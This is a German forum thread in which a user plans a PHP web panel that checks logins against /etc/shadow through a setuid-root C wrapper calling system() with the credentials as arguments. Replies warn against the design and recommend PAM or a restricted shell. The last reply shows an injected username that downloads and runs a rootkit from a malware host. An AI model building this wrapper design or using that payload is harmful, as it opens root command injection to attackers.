PHP-Web-System, welches auf Linux aufbaut

I

ikkebins

0
Hey Hackerboard,

ich möchte eine Website entwickeln, und als ich vorhin so drüber philosophiert habe, welches Framework ich denn wohl dieses Mal nehme, habe ich mich einfach mal für das Framework LINUX entschieden. :D

Die Gründe für mich sind:
- ich lerne es besser kennen (verwalten von Gruppen und so habe ich nie wirklich gebraucht)
- "native" Verwaltung der User "von Haus aus" mit diversen Befehlen
- muss man keine Frameworks wie Symfony/CakePHP mitinstallieren, sondern die Basis ist einfach vorhanden (wenn man, wie ich, immer nur auf ein vertrautes Debian setzt, welches sich nicht so oft ändert :D)

Ok, erster Schritt, denn ich gerne geklärt hätte:

Ein User loggt sich also über lighttpd/php-fastcgi ein, wobei die Username/Passwort-Kombination gegen /etc/shadow gecheckt wird.

Die erste Frage lautet da für mich: wie sollte ich den www-data-Webserver Zugriff auf die /etc/shadow gewähren?

Vielen Dank für Antworten, ich glaube dieses Thema wird noch größer. :)

Grüße,
ikkebins
 
Du kannst das Rechtesystem des Systems nicht für Webserver verwenden, wenn du nicht enorme Sicherheitslücken in's System reissen willst. Damit der Webserver nämlich an Dateien wie die /etc/shadow kommt, müsste er bestimmte Teile/Threads als root laufen lassen. Das machen gute Webserver aber nichtmal, wenn sie an einen privilegierten Port (z.B. Port 80) binden müssen. Selbst da nehmen sie nur während des bind die notwendigen Rechte an und wechseln danach mittels setuid zum eigentlichen Webserver-User, mit dessen Rechten dann alle Webapps laufen. Du müsstest also ein PAM-Interface vom Webserver zum System haben und das erscheint mir nicht gerade eine sinnvolle Lösung. Genau deswegen gibt es Frameworks für PHP zur Rechteverwaltung, User/Session-Management etc..
 
Hey, da bin ich wieder. :D Habe leider erst noch andere Dinge zutun, dass ich noch nicht soviel Zeit für dieses Projekt gefunden habe.

Das das sicherheitskritisch gesehen wird, habe ich mir ja schon gedacht, bitmuncher. :D Habe mal geguckt was PAM so macht, aber irgendwie weiß ich nicht, was es bringen könnte.

@enkore: dein Django in Ehren, aber es liefert für die User kein FTP, SSH, screen-sessions et cetera. Und wie gesagt, es geht ja auch darum, dass ich Linux-Rechteverwaltung usw. besser verstehen lerne. :)

Grob gesagt möchte ich meinen Kunden nicht für alles SSH zumuten und ihnen einige Aufgaben über das Web-Interface einfacher gestalten. Dinge, die sie von der Linux-Rechteverwaltung her dürfen (/home bearbeiten, Befehle an screen-sessions senden).

Bislang habe ich das so angefangen:
- kleine Binary in C mit suid-Bit mit setuid(0)/seteuid(0) und system("/usr/bin/php /pfad/zum/script.php");
- binary war nötig, weil +s bei Scripten aus Sicherheitsgründen verboten ist
- script.php kann dann die /etc/shadow auslesen
- ich wüsste nicht, wie man das "kompromittieren" sollte

Weitergedacht, würde sich das PHP-Script dann die uid geben, die es laut /etc/passwd haben darf. Wenn man dann aber einen Befehl ausführen will, muss man jedes Mal:
- die User/Pass-Kombination mitsenden,
- die /etc/shadow überprüfen
- Rechte mit setuid()/seteuid() für den User setzen
- die Befehle, die das Script verarbeiten soll, über die Argumente ans Script parsen

Also zum Beispiel: system("/usr/bin/php /pfad/zum/script.php myusername mypassword file-delete /home/myusername/bla.txt");

Das kommt mir ziemlich doof vor. :D Weiß aber auch nicht, wie man es besser gestalten könnte. Und z.b. ein fopen() auf eine "eigene Datei" würde auch nicht gehen (eigentlich ja nicht "eigene", weil das Web-Interface ist ja immernoch www-data).

Dann habe ich noch die Idee, dass man mit den Rechten der jeweiligen User einen kleinen "PHP-Interpreter-Dämon" laufen lassen könnte, der für www-data dann jeweils die Scripts ausführen könnte. Das kommt mir aber auch ein bisschen wie von-hinten-durchs-Auge vor. :S

Vielleicht hat ja noch jemand andere Ideen. :D
 
Kurz gesagt: So ist es nunmal nicht gedacht. Du musst halt alle Sicherheitsmechanismen, die dafür gebaut wurden, genau dass zu verhindern, was du tun willst (nämlich als unpreviligierter Webserver die Dateien anderer Nutzer zu lesen und zu verändern), aushebeln. Wenn du bereits mit su-artigen Konstrukten anfängst, hast du halt direkt wieder Klartextpasswörter gespeichert - oder ständig übers Netz verschickt. Was von der Sicherheit mehr als nur beschissen ist.
 
enkore hat gesagt.:
Wenn du bereits mit su-artigen Konstrukten anfängst, hast du halt direkt wieder Klartextpasswörter gespeichert - oder ständig übers Netz verschickt.
Zum Vergrößern anklicken....

Hey enkore,

ja, das sind Probleme, die ich dann später im Angriff nehmen würde. Zum Beispiel User/Pass mit JavaScript mit Public-Key verschlüssenln, und PHP als Empfänger hat dann den Private-Key zum entschlüsseln. Klartextpasswörter würde es ja auch keine geben, wenn nur das Public-Key-Verschlüsselte in die User-Session kommt.

Es geht mir bislang erstmal um das "Machbare", nicht um die Sicherheitsimplikationen, die sich daraus ableiten.
 
Bessere Idee: Nutze keine Webapp, sondern stelle den Usern eine restricted Shell mit entsprechender Menüführung zur Verfügung. Das ist eine weitaus sinnvollere Lösung als einem Webserver sudo-Rechte oder gar su-Mechanismen zuzumuten.

Btw.: Wenn eine Applikation schon Authentifizierung auf Systemebene durchführen soll, dann sollte sie dafür prinzipiell die Mechanismen von PAM nutzen und nicht wild auf die shadow-Datei zugreifen. Es hat schliesslich seine Gründe, dass Linux bestimmte Sicherheitsmechanismen implementiert hat. Wenn dir die Funktionsweise von PAM unklar ist, dann rate ich dir dringend, dass du dich damit auseinander setzt und z.B. mal einen Blick in Vortragspapers LinuxTag 2000 - PAM Support fr Linux wirfst. Damit liesse sich dann z.B. ein Webserver-Modul umsetzen, das direkt mit deinen Skripten kommunizieren kann, so dass ein Zugriff auf Systemdateien seitens der Webapp nicht notwendig ist.
 
Egal aus welchem Grund du das machst, was du machst, mache es nicht so. Versuche fertige Lösungen zu finden, die das machen, was du willst. Du baust riesige Sicherheitslücken ein. Dein Authentifizierungsmechanismus lässt sich prima dazu benutzen die Kiste zu ownen: Schickt man als Username "; wget http//malware.com/rootkit;./rootkit#", ist es aus.
 
Um antworten zu können musst du eingeloggt sein.
Zurück
Oben